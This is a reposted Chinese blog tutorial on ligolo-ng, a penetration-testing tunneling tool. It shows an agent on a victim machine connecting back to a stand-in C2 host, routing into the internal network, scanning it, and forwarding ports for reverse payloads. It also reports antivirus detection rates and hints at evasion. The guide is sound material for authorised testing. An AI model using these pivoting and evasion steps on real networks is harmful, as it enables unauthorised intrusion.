[实践精品] 新一代内网穿透工具 ligolo-ng

admin 2023年11月29日21:53:32评论267 views字数 4522阅读15分4秒阅读模式
[实践精品] 新一代内网穿透工具 ligolo-ng

一种使用 TUN 接口高级但简单的隧道工具。

工具介绍

Ligolo-ng 是一个简单、轻量级且快速的工具,允许渗透测试人员使用 tun 接口(无需 SOCKS)从反向 TCP/TLS 连接建立隧道。

功能说明

  1. Tun 接口(不再使用 SOCKS!): 利用 Tun 接口,摆脱 SOCKS 的限制!
  2. 简洁的用户界面,包括代理选择和网络信息: 提供直观易懂的用户界面,轻松选择代理并查看网络信息。
  3. 简便易用,轻松设置: 设计简单易用的界面,使设置过程变得轻而易举。
  4. 自动使用 Let's Encrypt 进行证书配置: 自动配置证书,利用 Let's Encrypt 简化安全性设置。
  5. 高性能(多路复用): 通过多路复用技术实现卓越的性能。
  6. 无需高权限: 无需高权限即可运行,提供更灵活的部署选项。
  7. 在代理上进行套接字监听/绑定: 在代理上实现套接字监听和绑定,以便有效地处理传入连接。
  8. 支持多平台的代理: 在多个平台上提供支持,确保广泛适用性。

不同之处

与使用 SOCKS 代理或 TCP/UDP 转发器不同,Ligolo-ng 利用 Gvisor 创建了一个用户态网络堆栈。

在运行中继/代理服务器时,使用了一个 tun 接口,发送到该接口的数据包被翻译,然后传输到代理远程网络。

以 TCP 连接为例:

  • SYN 被翻译为远程的 connect() 调用
  • 如果 connect() 成功,就会发送 SYN-ACK 返回
  • 如果 connect 后返回 ECONNRESET、ECONNABORTED 或 ECONNREFUSED,就会发送 RST
  • 如果超时,则什么都不发送

这使得可以在不使用 proxychains 的情况下运行诸如 nmap 这样的工具(更简单更快)。

使用说明

服务端

1.本地编译

Building ligolo-ng (Go >= 1.20 is required):

$ git clone https://github.com/nicocha30/ligolo-ng.git
$ cd ligolo-ng
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.go

2.直接下载已经编译好的二进制文件: https://github.com/nicocha30/ligolo-ng/releases 分别下载对应的 Proxy 服务端

Linux 部署 proxy 端

wget https://mirror.ghproxy.com/https://github.com/nicocha30/ligolo-ng/releases/download/v0.4.4/ligolo-ng_proxy_0.4.4_linux_amd64.tar.gz
tar -xzvf ligolo-ng_proxy_0.4.4_linux_amd64.tar.gz

直接运行,提示无法创建 tun 接口

[实践精品] 新一代内网穿透工具 ligolo-ng

创建 tun 接口

$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo up
$ ifconfig|grep -A 5 ligolo
[实践精品] 新一代内网穿透工具 ligolo-ng

开始

$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
[实践精品] 新一代内网穿透工具 ligolo-ng

客户端

在目标(受害者)计算机上启动代理(不需要任何权限!):

注意事项

attacker_c2_server.com 后续用于申请 tls 证书搭配 --autocert 使用

如果直接使用 IP,需要 proxy 端配合 -selfcert 参数

$ ./agent -connect attacker_c2_server.com:11601

如果要通过 SOCKS5 代理建立隧道连接,可以使用 --socks ip:port 选项。您可以使用 --socks-user 和 --socks-pass 参数指定 SOCKS 凭据。

代理服务器上应出现会话。

INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"

使用会话命令选择代理。

ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000

使用 ifconfig 命令显示代理的网络配置:

通过找到目标的对应的网段,在 proxy 配置相关路由即可

[Agent : nchatelain@nworkstation] » ifconfig
[...]
┌─────────────────────────────────────────────┐
│ Interface 3 │
├──────────────┬──────────────────────────────┤
│ Name │ wlp3s0 │
│ Hardware MAC │ de:ad:be:ef:ca:fe │
│ MTU │ 1500 │
│ Flags │ up|broadcast|multicast │
│ IPv4 Address │ 192.168.0.30/24 │
└──────────────┴──────────────────────────────┘

在代理 / 中继服务器上添加到 192.168.0.0/24 代理网络的路由。

Linux:

$ sudo ip route add 192.168.0.0/24 dev ligolo

Windows:

> netsh int ipv4 show interfaces

Idx Mét MTU État Nom
--- ---------- ---------- ------------ ---------------------------
25 5 65535 connected ligolo

> route add 192.168.0.0 mask 255.255.255.0 0.0.0.0 if [THE INTERFACE IDX]

在代理上启动隧道:

[Agent : nchatelain@nworkstation] » start
[Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation

您现在可以从代理服务器访问 192.168.0.0/24 代理网络。

$ nmap 192.168.0.0/24 -v -sV -n
[...]
$ rdesktop 192.168.0.123
[...]

TLS 配置

代理服务器是一种网络工具,用于在客户端和目标服务器之间充当中介。该工具提供了多种 TLS 选项,以满足不同的安全需求。

TLS 选项:

  1. Let's Encrypt Autocert:
    • 使用 -autocert 选项时,代理服务器将自动为 attacker_c2_server.com 请求 Let's Encrypt 证书。
    • 需要确保端口 80 可访问,以进行 Let's Encrypt 证书的验证和检索。
  2. 使用自己的 TLS 证书:
    • 通过使用 -certfile-keyfile 参数,您可以为代理服务器指定自己的 TLS 证书。
  3. 自动生成自签名证书(谨慎使用):
    • 代理/中继支持使用 -selfcert 选项生成自签名的 TLS 证书。
    • 在代理中,需要使用 -ignore-cert 选项。请注意,这仅适用于测试环境或调试目的。

注意事项:

  • 在使用自签名证书时,请注意潜在的中间人攻击风险。建议仅在测试环境中使用。

这些 TLS 选项使得代理服务器非常灵活,并可根据不同的安全需求进行配置。请确保根据实际情况选择适当的选项以确保网络通信的安全性。

权限要求

Agent 代理端不需要任何权限,Relay/Proxy 则需要创建 tun 接口的权限。

支持的协议 / 数据包

  • TCP
  • UDP
  • ICMP (echo requests)

性能表现

测试拓扑

[实践精品] 新一代内网穿透工具 ligolo-ng

测试工具: iperf3

target:

sudo iperf3 -s -p 24483

Agent:

agent.exe -connetct server.com:11601

proxy 启动 session1 并配置路由,之后连接进行测试

iperf3 -c 192.168.x.105 -p 24483
[实践精品] 新一代内网穿透工具 ligolo-ng

轻松打满 VPS 的带宽

端口转发

以下示例将在代理 (0.0.0.0:1234) 上创建 TCP 侦听套接字,并将连接重定向到代理服务器的 4321 端口。

[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!

proxy:

$ nc -lvp 4321

当在代理的 TCP 端口 1234 上建立连接时,nc 将接收该连接。

当使用反向 tcp/udp 有效负载时,这非常有用。

您可以使用 listener_list 命令查看当前正在运行的侦听器,并使用 listener_stop [ID] 命令停止它们:

[Agent : nchatelain@nworkstation] » listener_list
┌───────────────────────────────────────────────────────────────────────────────┐
│ Active listeners                                                              │
├───┬─────────────────────────┬────────────────────────┬────────────────────────┤
│ # │ AGENT                   │ AGENT LISTENER ADDRESS │ PROXY REDIRECT ADDRESS │
├───┼─────────────────────────┼────────────────────────┼────────────────────────┤
│ 0 │ nchatelain@nworkstation │ 0.0.0.0:1234           │ 127.0.0.1:4321         │
└───┴─────────────────────────┴────────────────────────┴────────────────────────┘

[Agent : nchatelain@nworkstation] » listener_stop 0
INFO[1505] Listener closed.

免杀效果

VT 多引擎查杀: 8/47

[实践精品] 新一代内网穿透工具 ligolo-ng

火绒、Defender 均不杀,360 卫士会杀

[实践精品] 新一代内网穿透工具 ligolo-ng

简单处理 Bypass,但不是长久之计,可以考虑二开。

[实践精品] 新一代内网穿透工具 ligolo-ng


原文始发于微信公众号(一个不正经的黑客):[实践精品] 新一代内网穿透工具 ligolo-ng

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月29日21:53:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   [实践精品] 新一代内网穿透工具 ligolo-nghttps://cn-sec.com/archives/2253723.html

发表评论

匿名网友 填写信息